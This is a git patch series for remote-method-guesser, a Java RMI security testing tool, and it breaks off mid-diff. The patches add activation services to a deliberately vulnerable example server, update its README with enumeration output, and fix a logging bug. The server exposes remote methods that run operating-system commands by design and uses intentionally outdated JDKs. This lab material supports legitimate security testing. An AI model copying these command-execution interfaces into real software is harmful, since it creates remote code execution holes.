index 00000000..adde23e8 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java @@ -0,0 +1,13 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.util.ArrayList; +import java.util.HashMap; + +public interface IActivationService2 extends Remote +{ + String login(HashMap credentials) throws RemoteException; + void logMessage(int logLevel, Object message) throws RemoteException; + void updatePreferences(ArrayList preferences) throws RemoteException; +} \ No newline at end of file From fe37029515431fcd83bda5ebd03e81e249e19c53 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Fri, 6 May 2022 21:57:07 +0200 Subject: [PATCH 05/19] [docker] Update documentation --- docker/example-server/CHANGELOG.md | 13 + docker/example-server/Dockerfile-jdk11 | 2 +- docker/example-server/Dockerfile-jdk8 | 2 +- docker/example-server/Dockerfile-jdk9 | 2 +- docker/example-server/README.md | 301 +++++++++--------- .../example-server/docker-compose-jdk11.yml | 2 +- docker/example-server/docker-compose-jdk8.yml | 2 +- docker/example-server/docker-compose-jdk9.yml | 2 +- .../qtc/rmg/server/legacy/LegacyServer.java | 1 + 9 files changed, 176 insertions(+), 151 deletions(-) create mode 100644 docker/example-server/CHANGELOG.md diff --git a/docker/example-server/CHANGELOG.md b/docker/example-server/CHANGELOG.md new file mode 100644 index 00000000..308e11dc --- /dev/null +++ b/docker/example-server/CHANGELOG.md @@ -0,0 +1,13 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [3.2] - May 06, 2022 + +### Changed + +* Add activation system on port 1098 diff --git a/docker/example-server/Dockerfile-jdk11 b/docker/example-server/Dockerfile-jdk11 index 9b2813e2..3601b168 100644 --- a/docker/example-server/Dockerfile-jdk11 +++ b/docker/example-server/Dockerfile-jdk11 @@ -39,6 +39,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ -Djava.security.policy=/opt/policy \ -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -EXPOSE 1090/tcp 9010/tcp +EXPOSE 1090/tcp 1098/tcp 9010/tcp CMD ["/opt/start.sh"] diff --git a/docker/example-server/Dockerfile-jdk8 b/docker/example-server/Dockerfile-jdk8 index 9ecde971..78d8ad30 100644 --- a/docker/example-server/Dockerfile-jdk8 +++ b/docker/example-server/Dockerfile-jdk8 @@ -29,6 +29,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ -Djava.security.policy=/opt/policy \ -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -EXPOSE 1090/tcp 9010/tcp +EXPOSE 1090/tcp 1098/tcp 9010/tcp CMD ["/opt/start.sh"] diff --git a/docker/example-server/Dockerfile-jdk9 b/docker/example-server/Dockerfile-jdk9 index eece875d..9e0a1e03 100644 --- a/docker/example-server/Dockerfile-jdk9 +++ b/docker/example-server/Dockerfile-jdk9 @@ -39,6 +39,6 @@ ENV _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ -Djava.security.policy=/opt/policy \ -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -EXPOSE 1090/tcp 9010/tcp +EXPOSE 1090/tcp 1098/tcp 9010/tcp CMD ["/opt/start.sh"] diff --git a/docker/example-server/README.md b/docker/example-server/README.md index e9c765ba..9c0315a9 100644 --- a/docker/example-server/README.md +++ b/docker/example-server/README.md @@ -5,28 +5,29 @@ The *example-server* provided by this repository can be used to test all features of *remote-method-guesser*. You can either build the container from source or pull it from *GitHub Packages*. -* To build from source, just clone the repository, switch to the [docker directory](/docker/example-server) and run ``docker build .`` - to create the container. If you also want to make adjustments to the example server, modify the [source code](/docker/example-server/resources/server) - and rebuild the container. +* To build from source, just clone the repository, switch to the [docker directory](/docker/example-server), remove the version suffix + of the desired version and run `docker build .` to create the container. If you also want to make adjustments to the example server, + modify the [source code](/docker/example-server/resources/server) and rebuild the container. * To load the container from the *GitHub Container Registry* just use the corresponding pull command: ```console - $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9 + $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk8 + $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk9 + $ docker pull ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk11 ``` -To change the default configuration of the container (like e.g. the *SSL* certificate), you can modify the [docker-compose.yml](/docker/example-server/docker-compose.yml) -and start the container using ``docker-compose up``. From container version *v3.0* on, the container is available in two different versions: *jdk9* and *jdk11*. -As the names suggest, the first one is build based on *openjdk-9*, whereas the second one is based on *openjdk-11*. Since *openjdk-9* is no longer maintained, -this container version is vulnerable to some older *RMI* vulnerabilities (e.g. *localhost* and *An Trinh bypass*). The *jdk11* version, on the other hand, -is fully patched at the time of building. +To change the default configuration of the container (like e.g. the *SSL* certificate), you can modify the [docker-compose.yml](./docker-compose-jdk8.yml) +and start the container using `docker-compose up`. From container version *v3.0* on, the container is available in three different versions: *jdk8*, *jdk9* +and *jdk11*. As the names suggest, the first one is build based on *openjdk-8*, whereas the others are based on *openjdk-9* and *openjdk-11*. The Java +versions associated with the *jdk8* and *jdk9* container are intentionally outdated to experiment with different *RMI* vulnerabilities. ### Configuration Details ---- -When launched in its default configuration, the container starts two *Java rmiregistry* instances on port ``1090`` and port ``9010``. -The registry on port ``1090`` is *SSL* protected and contains three available bound names: +When launched in its default configuration, the container starts *Java rmiregistry* instances on port `1090`, `1098` and `9010`. +The registry on port `1090` is *SSL* protected and contains three available bound names: ```console [qtc@devbox ~]$ rmg enum --ssl 172.17.0.2 1090 @@ -34,13 +35,13 @@ The registry on port ``1090`` is *SSL* protected and contains three available bo [+] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7fff, -35871153036852369] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7fff, 8831379559932805383] [+] - ssl-server [+] --> de.qtc.rmg.server.interfaces.ISslServer (unknown class) -[+] Endpoint: iinsecure.dev:43813 ObjID: [32d2a880:17d74a926a9:-7ffe, 6244338894849023886] +[+] Endpoint: iinsecure.dev:42031 TLS: yes ObjID: [-492549a8:1809adab6bf:-7ffe, -8819602238278920745] [+] - secure-server [+] --> de.qtc.rmg.server.interfaces.ISecureServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ffd, -5872963829887623237] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ffd, -5037949272481440924] [+] [+] RMI server codebase enumeration: [+] @@ -88,10 +89,77 @@ The registry on port ``1090`` is *SSL* protected and contains three available bo [+] Configuration Status: Current Default ``` -The registry on port ``9010`` can be contacted without *SSL* and exposes also three bound names. In contrast to the previous setup, two of -the exposed bound names belong to the same remote interface. Furthermore, the last remaining bound name belongs to a remote class that uses +The registry on port `1098` hosts an *Activation System* and has some *activatable remote objects* bound: + +```console +[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 +[+] RMI registry bound names: +[+] +[+] - activation-test +[+] --> de.qtc.rmg.server.activation.IActivationService (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: -492549a8:1809adab6bf:-7ff1 +[+] - activation-test2 +[+] --> de.qtc.rmg.server.activation.IActivationService2 (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: -492549a8:1809adab6bf:-7fee +[+] - plain-server +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7fec, 5541025679742310482] +[+] - java.rmi.activation.ActivationSystem +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activator) +[+] Endpoint: iinsecure.dev:1098 TLS: no ObjID: [0:0:0, 4] +[+] +[+] RMI server codebase enumeration: +[+] +[+] - http://iinsecure.dev/well-hidden-development-folder/ +[+] --> de.qtc.rmg.server.interfaces.IPlainServer +[+] --> de.qtc.rmg.server.activation.IActivationService +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub +[+] --> de.qtc.rmg.server.activation.IActivationService2 +[+] +[+] RMI server String unmarshalling enumeration: +[+] +[+] - Caught ClassNotFoundException during lookup call. +[+] --> The type java.lang.String is unmarshalled via readObject(). +[+] Configuration Status: Outdated +[+] +[+] RMI server useCodebaseOnly enumeration: +[+] +[+] - Caught MalformedURLException during lookup call. +[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). +[+] Configuration Status: Non Default +[+] +[+] RMI registry localhost bypass enumeration (CVE-2019-2684): +[+] +[+] - Registry rejected unbind call cause it was not send from localhost. +[+] Vulnerability Status: Non Vulnerable +[+] +[+] RMI Security Manager enumeration: +[+] +[+] - Security Manager rejected access to the class loader. +[+] --> The server does use a Security Manager. +[+] Configuration Status: Current Default +[+] +[+] RMI server JEP290 enumeration: +[+] +[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). +[+] Vulnerability Status: Non Vulnerable +[+] +[+] RMI registry JEP290 bypass enmeration: +[+] +[+] - Caught IllegalArgumentException after sending An Trinh gadget. +[+] Vulnerability Status: Vulnerable +[+] +[+] RMI ActivationSystem enumeration: +[+] +[+] - Caught IllegalArgumentException during activate call (activator is present). +[+] --> Deserialization allowed - Vulnerability Status: Vulnerable +[+] --> Client codebase enabled - Configuration Status: Non Default +``` + +The registry on port ``9010`` can be contacted without *SSL* and exposes three bound names. In contrast to the first setup, two of the +exposed bound names belong to the same remote interface. Furthermore, the last remaining bound name belongs to a remote class that uses *statically compiled stubs* ([legacy-rmi](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmic.html)). Additionally, this -registry port binds an RMI Activator instance. +registry port binds an *RMI Activator instance*, but not a full working *Activation System*. ```console @@ -100,13 +168,13 @@ registry port binds an RMI Activator instance. [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ff7, -4320341974808185127] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ff7, 8893583921173173865] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ffc, 7423522285359236174] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ffc, -5452660335673756521] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) -[+] Endpoint: iinsecure.dev:39745 ObjID: [32d2a880:17d74a926a9:-7ff8, -1649467184009238448] +[+] Endpoint: iinsecure.dev:40579 TLS: no ObjID: [-492549a8:1809adab6bf:-7ff8, 5860842907020657289] [+] [+] RMI server codebase enumeration: [+] @@ -156,7 +224,8 @@ registry port binds an RMI Activator instance. The corresponding remote objects get assigned a random port during the server startup. By default, the example server uses colored output. You can disable it by using the corresponding environment variable -within the ``docker-compose.yml`` file. Another environment variable can be used to enable *codebase logging*: +within the [docker-compose.yml](./docker-compose-jdk8.yml) file. Another environment variable can be used +to enable *codebase logging*: ```yaml environment: @@ -169,45 +238,57 @@ Each successful method call is logged on the server side. The following listing was started. Additionally, one successful method call on the ``login`` method was logged: ```console -[qtc@devbox ~]$ docker run docker.pkg.github.com/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9 +[qtc@devbox ~]$ docker run ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk9 [+] IP address of the container: 172.17.0.2 [+] Adding gateway address to /etc/hosts file... [+] Adding RMI hostname to /etc/hosts file... [+] Starting rmi server... Picked up _JAVA_OPTIONS: -Djava.rmi.server.hostname=iinsecure.dev -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=/opt/policy -Djava.rmi.server.codebase=http://iinsecure.dev/well-hidden-development-folder/ -[2021.03.26 - 05:16:47] Initializing Java RMI Server: -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating RMI-Registry on port 1090 -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating PlainServer object. -[2021.03.26 - 05:16:47] Binding Object as plain-server -[2021.03.26 - 05:16:47] Boundname plain-server with interface IPlainServer is ready. -[2021.03.26 - 05:16:47] Creating SSLServer object. -[2021.03.26 - 05:16:47] Binding Object as ssl-server -[2021.03.26 - 05:16:47] Boundname ssl-server with interface ISslServer is ready. -[2021.03.26 - 05:16:47] Creating SecureServer object. -[2021.03.26 - 05:16:47] Binding Object as secure-server -[2021.03.26 - 05:16:47] Boundname secure-server with interface ISecureServer is ready. -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Server setup finished. -[2021.03.26 - 05:16:47] Initializing legacy server. -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating RMI-Registry on port 9010 -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Creating LegacyServiceImpl object. -[2021.03.26 - 05:16:47] Binding LegacyServiceImpl as legacy-service -[2021.03.26 - 05:16:47] Boundname legacy-service with class de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub is ready. -[2021.03.26 - 05:16:47] Creating PlainServer object. -[2021.03.26 - 05:16:47] Binding Object as plain-server -[2021.03.26 - 05:16:47] Boundname plain-server with interface IPlainServer is ready. -[2021.03.26 - 05:16:47] Creating another PlainServer object. -[2021.03.26 - 05:16:47] Binding Object as plain-server2 -[2021.03.26 - 05:16:47] Boundname plain-server2 with interface IPlainServer is ready. -[2021.03.26 - 05:16:47] Creating ActivatorImp object. -[2021.03.26 - 05:16:47] Activator is ready. -[2021.03.26 - 05:16:47] -[2021.03.26 - 05:16:47] Server setup finished. -[2021.03.26 - 05:16:47] Waiting for incoming connections. +[2022.05.06 - 19:45:12] Initializing Java RMI Server: +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating RMI-Registry on port 1090 +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating PlainServer object. +[2022.05.06 - 19:45:12] Binding Object as plain-server +[2022.05.06 - 19:45:12] Boundname plain-server with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] Creating SSLServer object. +[2022.05.06 - 19:45:12] Binding Object as ssl-server +[2022.05.06 - 19:45:12] Boundname ssl-server with interface ISslServer is ready. +[2022.05.06 - 19:45:12] Creating SecureServer object. +[2022.05.06 - 19:45:12] Binding Object as secure-server +[2022.05.06 - 19:45:12] Boundname secure-server with interface ISecureServer is ready. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Server setup finished. +[2022.05.06 - 19:45:12] Initializing legacy server. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating RMI-Registry on port 9010 +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating LegacyServiceImpl object. +[2022.05.06 - 19:45:12] Binding LegacyServiceImpl as legacy-service +[2022.05.06 - 19:45:12] Boundname legacy-service with class de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub is ready. +[2022.05.06 - 19:45:12] Creating PlainServer object. +[2022.05.06 - 19:45:12] Binding Object as plain-server +[2022.05.06 - 19:45:12] Boundname plain-server with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] Creating another PlainServer object. +[2022.05.06 - 19:45:12] Binding Object as plain-server2 +[2022.05.06 - 19:45:12] Boundname plain-server2 with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] Creating ActivatorImp object. +[2022.05.06 - 19:45:12] Activator is ready. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Server setup finished. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Creating ActivationSystem on port 1098 +[2022.05.06 - 19:45:12] Binding Object as activation-test +[2022.05.06 - 19:45:12] Boundname activation-test with interface Remote is ready. +[2022.05.06 - 19:45:12] Binding Object as activation-test2 +[2022.05.06 - 19:45:12] Boundname activation-test2 with interface Remote is ready. +[2022.05.06 - 19:45:12] Binding Object as plain-server +[2022.05.06 - 19:45:12] Boundname plain-server with interface IPlainServer is ready. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] Server setup finished. +[2022.05.06 - 19:45:12] Waiting for incoming connections. +[2022.05.06 - 19:45:12] +[2022.05.06 - 19:45:12] [SecureServer]: Processing call for String login(HashMap credentials) ``` One core feature of *remote-method-guesser* is that it allows *safe method guessing* without invoking method calls on the server side. @@ -221,14 +302,11 @@ and ``codebase`` actions, no valid calls should be logged on the server side. Each remote object on the *example-server* implements different kinds of vulnerable remote methods that can be detected by *rmg*. Some methods are vulnerably by design (e.g. execute operating system commands on invocation) -others can be exploited by *deserialization* or *codebase* attacks as mentioned in the [README.md](../README.md) +others can be exploited by *deserialization* or *codebase* attacks as mentioned in the [README.md](/README.md) of this project. In the following, the corresponding interfaces are listed. -#### Plain Server - -The remote object that is bound as ``plain-server`` uses a plain *TCP* connection without *SSL*. It implements -the following interface: +#### IPlainServer ```java public interface IPlainServer extends Remote @@ -241,11 +319,7 @@ public interface IPlainServer extends Remote } ``` - -#### SSL Server - -The remote object that is bound as ``ssl-server`` uses an *SSL* protected *TCP* connection. It implements -the following interface: +#### ISslServer ```java public interface ISslServer extends Remote @@ -257,8 +331,7 @@ public interface ISslServer extends Remote } ``` - -#### Secure Server +#### ISecureServer The remote object that is bound as ``secure-server`` uses a plain *TCP* connection without *SSL*. It implements the following interface: @@ -272,11 +345,7 @@ public interface ISecureServer extends Remote } ``` - -#### Legacy Service - -The remote object that is bound as ``legacy-service`` uses a plain *TCP* connection without *SSL*. It implements -the following interface: +#### LegacyService ```java public interface LegacyService extends Remote @@ -290,81 +359,23 @@ public interface LegacyService extends Remote } ``` +#### IActivationService -### Example Run - ----- - -The following listing shows an example run of *remote-method-guessers* ``guess`` action against both of the exposed -*rmiregistry* endpoints: - -#### 1090 Registry - -```console -[qtc@devbox ~]$ rmg guess --ssl 172.17.0.2 1090 -[+] Reading method candidates from internal wordlist rmg.txt -[+] 752 methods were successfully parsed. -[+] Reading method candidates from internal wordlist rmiscout.txt -[+] 2550 methods were successfully parsed. -[+] -[+] Starting Method Guessing on 3281 method signature(s). -[+] -[+] MethodGuesser is running: -[+] -------------------------------- -[+] [ plain-server ] HIT! Method with signature String execute(String dummy) exists! -[+] [ plain-server ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! -[+] [ ssl-server ] HIT! Method with signature String system(String[] dummy) exists! -[+] [ ssl-server ] HIT! Method with signature int execute(String dummy) exists! -[+] [ ssl-server ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! -[+] [ secure-server ] HIT! Method with signature void logMessage(int dummy1, Object dummy2) exists! -[+] [ secure-server ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! -[+] [ secure-server ] HIT! Method with signature void updatePreferences(java.util.ArrayList dummy1) exists! -[+] [9843 / 9843] [#####################################] 100% -[+] done. -[+] -[+] Listing successfully guessed methods: -[+] -[+] - plain-server -[+] --> String execute(String dummy) -[+] --> String system(String dummy, String[] dummy2) -[+] - ssl-server -[+] --> String system(String[] dummy) -[+] --> int execute(String dummy) -[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) -[+] - secure-server -[+] --> void logMessage(int dummy1, Object dummy2) -[+] --> String login(java.util.HashMap dummy1) -[+] --> void updatePreferences(java.util.ArrayList dummy1) +```java +public interface IActivationService extends Remote +{ + String execute(String cmd) throws RemoteException; + String system(String cmd, String[] args) throws RemoteException; +} ``` -#### 9010 Registry +#### IActivationService2 -```console -[qtc@devbox ~]$ rmg guess 172.17.0.2 9010 -[+] Reading method candidates from internal wordlist rmg.txt -[+] 752 methods were successfully parsed. -[+] Reading method candidates from internal wordlist rmiscout.txt -[+] 2550 methods were successfully parsed. -[+] -[+] Starting Method Guessing on 3281 method signature(s). -[+] -[+] MethodGuesser is running: -[+] -------------------------------- -[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! -[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! -[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! -[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! -[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! -[+] [6562 / 6562] [#####################################] 100% -[+] done. -[+] -[+] Listing successfully guessed methods: -[+] -[+] - plain-server2 == plain-server -[+] --> String execute(String dummy) -[+] --> String system(String dummy, String[] dummy2) -[+] - legacy-service -[+] --> void logMessage(int dummy1, String dummy2) -[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) -[+] --> String login(java.util.HashMap dummy1) +```java +public interface IActivationService2 extends Remote +{ + String login(HashMap credentials) throws RemoteException; + void logMessage(int logLevel, Object message) throws RemoteException; + void updatePreferences(ArrayList preferences) throws RemoteException; +} ``` diff --git a/docker/example-server/docker-compose-jdk11.yml b/docker/example-server/docker-compose-jdk11.yml index 8f57def8..5b5e0c5d 100644 --- a/docker/example-server/docker-compose-jdk11.yml +++ b/docker/example-server/docker-compose-jdk11.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk11 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk11 build: . environment: - > diff --git a/docker/example-server/docker-compose-jdk8.yml b/docker/example-server/docker-compose-jdk8.yml index 704d84ab..1241e2dc 100644 --- a/docker/example-server/docker-compose-jdk8.yml +++ b/docker/example-server/docker-compose-jdk8.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk8 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk8 build: . environment: - > diff --git a/docker/example-server/docker-compose-jdk9.yml b/docker/example-server/docker-compose-jdk9.yml index 049f66f4..0863a422 100644 --- a/docker/example-server/docker-compose-jdk9.yml +++ b/docker/example-server/docker-compose-jdk9.yml @@ -2,7 +2,7 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.2-jdk9 build: . environment: - > diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java index 11adb313..4baa3136 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java @@ -77,6 +77,7 @@ public static void init() Logger.decreaseIndent(); Logger.println("Server setup finished."); + Logger.println("Initializing activation server."); Logger.println(""); } catch (RemoteException | MalformedURLException | AlreadyBoundException | NotBoundException e) { From 9a49b4ed333726bdcef37e4faa12e93a3453ec46 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sat, 7 May 2022 21:31:08 +0200 Subject: [PATCH 06/19] [docker] Fix timestamp bug in log output Log output created by the containers always used the same timestamp. --- docker/example-server/CHANGELOG.md | 7 +++++++ .../server/src/de/qtc/rmg/server/utils/Logger.java | 12 ++++++++---- docker/ssrf-server/CHANGELOG.md | 13 +++++++++++++ .../src/de/qtc/rmg/server/ssrf/utils/Logger.java | 9 ++++----- 4 files changed, 32 insertions(+), 9 deletions(-) create mode 100644 docker/ssrf-server/CHANGELOG.md diff --git a/docker/example-server/CHANGELOG.md b/docker/example-server/CHANGELOG.md index 308e11dc..ce411f88 100644 --- a/docker/example-server/CHANGELOG.md +++ b/docker/example-server/CHANGELOG.md @@ -6,6 +6,13 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [3.3] - May XX, 2022 + +### Changed + +* Fix timestamp for log messages + + ## [3.2] - May 06, 2022 ### Changed diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java index d89b597d..20f40144 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java @@ -1,8 +1,13 @@ package de.qtc.rmg.server.utils; import java.text.SimpleDateFormat; -import java.util.Calendar; +import java.util.Date; +/** + * Logger class that helps to print some formatted output including timestamps. + * + * @author Tobias Neitzel (@qtc_de) + */ public class Logger { private static String ANSI_RESET = "\u001B[0m"; @@ -11,7 +16,6 @@ public class Logger { public static int indent = 0; public static boolean verbose = true; - public static Calendar cal = Calendar.getInstance(); public static SimpleDateFormat date = new SimpleDateFormat("yyyy.MM.dd - HH:mm:ss"); private static String blue(String msg) @@ -26,12 +30,12 @@ private static String yellow(String msg) private static String prefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static String eprefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static void log(String msg) diff --git a/docker/ssrf-server/CHANGELOG.md b/docker/ssrf-server/CHANGELOG.md new file mode 100644 index 00000000..f0ec2172 --- /dev/null +++ b/docker/ssrf-server/CHANGELOG.md @@ -0,0 +1,13 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [1.3] - May XX, 2022 + +### Changed + +* Fix timestamp for log messages diff --git a/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java b/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java index a6efc2b5..425574f5 100644 --- a/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java +++ b/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java @@ -1,7 +1,7 @@ package de.qtc.rmg.server.ssrf.utils; import java.text.SimpleDateFormat; -import java.util.Calendar; +import java.util.Date; /** * Logger class that helps to print some formatted output including timestamps. @@ -16,7 +16,6 @@ public class Logger { public static int indent = 0; public static boolean verbose = true; - public static Calendar cal = Calendar.getInstance(); public static SimpleDateFormat date = new SimpleDateFormat("yyyy.MM.dd - HH:mm:ss"); private static String blue(String msg) @@ -31,12 +30,12 @@ private static String yellow(String msg) private static String prefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static String eprefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static void log(String msg) @@ -337,4 +336,4 @@ public static void disableColor() ANSI_YELLOW = ""; ANSI_BLUE = ""; } -} \ No newline at end of file +} From 1a41b1ad33491102515b96a7aed14e40aa2b9feb Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sat, 7 May 2022 21:32:43 +0200 Subject: [PATCH 07/19] [docker] Bump version number for SSRF container --- docker/ssrf-server/docker-compose.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/ssrf-server/docker-compose.yml b/docker/ssrf-server/docker-compose.yml index ad37ad93..165bbbf1 100644 --- a/docker/ssrf-server/docker-compose.yml +++ b/docker/ssrf-server/docker-compose.yml @@ -2,5 +2,5 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.2 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.3 build: . From 078b909e95a36660f0aaecae984896ca5ad09c66 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sat, 7 May 2022 22:39:49 +0200 Subject: [PATCH 08/19] Fix activation related bugs This commit fixes several bugs that were introduced with activation support. First results are promising that all features are now working again, also on ActivatableRef, but some more testing is required. --- src/de/qtc/rmg/networking/RMIEndpoint.java | 2 +- .../rmg/networking/RMIRegistryEndpoint.java | 12 +- src/de/qtc/rmg/operations/Dispatcher.java | 2 +- src/de/qtc/rmg/operations/MethodGuesser.java | 21 ++- .../rmg/operations/RemoteObjectClient.java | 42 +++--- src/de/qtc/rmg/utils/EmptyWrapper.java | 23 +++ src/de/qtc/rmg/utils/RemoteObjectWrapper.java | 139 ++++-------------- src/de/qtc/rmg/utils/UnicastWrapper.java | 120 ++++++++++++++- 8 files changed, 202 insertions(+), 159 deletions(-) create mode 100644 src/de/qtc/rmg/utils/EmptyWrapper.java diff --git a/src/de/qtc/rmg/networking/RMIEndpoint.java b/src/de/qtc/rmg/networking/RMIEndpoint.java index bb50ff37..3fab599e 100644 --- a/src/de/qtc/rmg/networking/RMIEndpoint.java +++ b/src/de/qtc/rmg/networking/RMIEndpoint.java @@ -79,7 +79,7 @@ public RMIEndpoint(String host, int port, RMIClientSocketFactory csf) * @param objID identifies the targeted remote object on the server side * @return newly constructed RemoteRef */ - public RemoteRef getRemoteRef(ObjID objID) + public UnicastRef getRemoteRef(ObjID objID) { Endpoint endpoint = 